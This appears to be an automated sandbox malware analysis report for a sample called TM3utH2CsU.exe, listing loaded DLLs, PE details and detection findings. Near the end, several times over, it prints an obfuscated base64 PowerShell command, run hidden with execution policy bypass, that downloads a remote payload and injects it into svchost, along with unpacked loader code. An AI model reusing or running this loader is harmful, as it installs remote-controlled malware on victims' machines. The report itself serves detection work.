Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: TM3utH2CsU.exe

Static PE information: certificate valid

Source: TM3utH2CsU.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: TM3utH2CsU.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: TM3utH2CsU.exe

Static file information: File size 2348312 > 1048576

Source: TM3utH2CsU.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x16aa00

Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: TM3utH2CsU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: TM3utH2CsU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: TM3utH2CsU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: e.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.1650115871.000001AF16FEA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1704147920.000001EC82CEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbh{o source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000012.00000002.2410995855.000001AF310FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll\System.Core.pdbDc source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dbpdbtem.pdbEX source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2327989343.000001AF30E70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: powershell.exe, 0000001E.00000002.1704147920.000001EC82C8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combine.pdb source: TM3utH2CsU.exe, 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp, TM3utH2CsU.exe, 00000000.00000000.1351636173.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000012.00000002.1728472486.000001AF29D0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000012.00000002.2327989343.000001AF30E70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ows\dll\System.Core.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000012.00000002.2455008482.000001AF31187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbdll source: powershell.exe, 00000012.00000002.2327989343.000001AF30EBF000.00000004.00000020.00020000.00000000.sdmp

Source: TM3utH2CsU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: TM3utH2CsU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: TM3utH2CsU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: TM3utH2CsU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: TM3utH2CsU.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 18.2.powershell.exe.1af2a0cd0e8.1.raw.unpack, ClassTestsList.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Messages.cs	.Net Code: Memory

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
